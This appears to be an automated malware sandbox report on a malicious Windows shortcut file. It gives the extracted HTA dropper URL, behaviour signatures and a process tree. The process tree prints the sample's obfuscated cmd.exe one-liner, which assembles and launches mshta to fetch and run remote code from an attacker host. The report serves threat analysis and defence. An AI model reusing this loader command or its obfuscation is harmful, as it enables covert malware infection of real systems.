Analysis

  • max time kernel
    148s
  • max time network
    127s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:25

General

  • Target
    DOC-ZA0JX2.lnk
  • Size 2KB
  • Sample260804-kbmbcavfpb
  • SHA256 56bd8f459648520927042936117a448389a1a16c95e5cab284c8d15ac8f117fd
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-ZA0JX2.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4776
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D/v:on/c"set SwkF=oldgkmigldxold&set wFU=y9fmev&&set kJ=6shta&&set AF=1mag7&set scnsT=infoobpinf&set scYS=winoepshdchoeusnrttwin&set ic=winzwsogwin&set qJC=oldandhldvljold&set RkbV=oldkxswmzkizdjwvdvrmstsold&set Bvr=infarpqjxesmbxeowxwlminf&set DumCq=ebsu&&set oGrs=catarr08&&set gLFm=wet4&&set uuiSt=https://ma-pd@ffil@[email protected]@t/h/@es@t@agi@[email protected]@hp?r=3914@69FB5@D82@DB&&start /b !wFU:~3,1!!kJ:~1,3!!AF:~2,1! !uuiSt:@=!&&set NWcT=done"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3372
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:3328

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads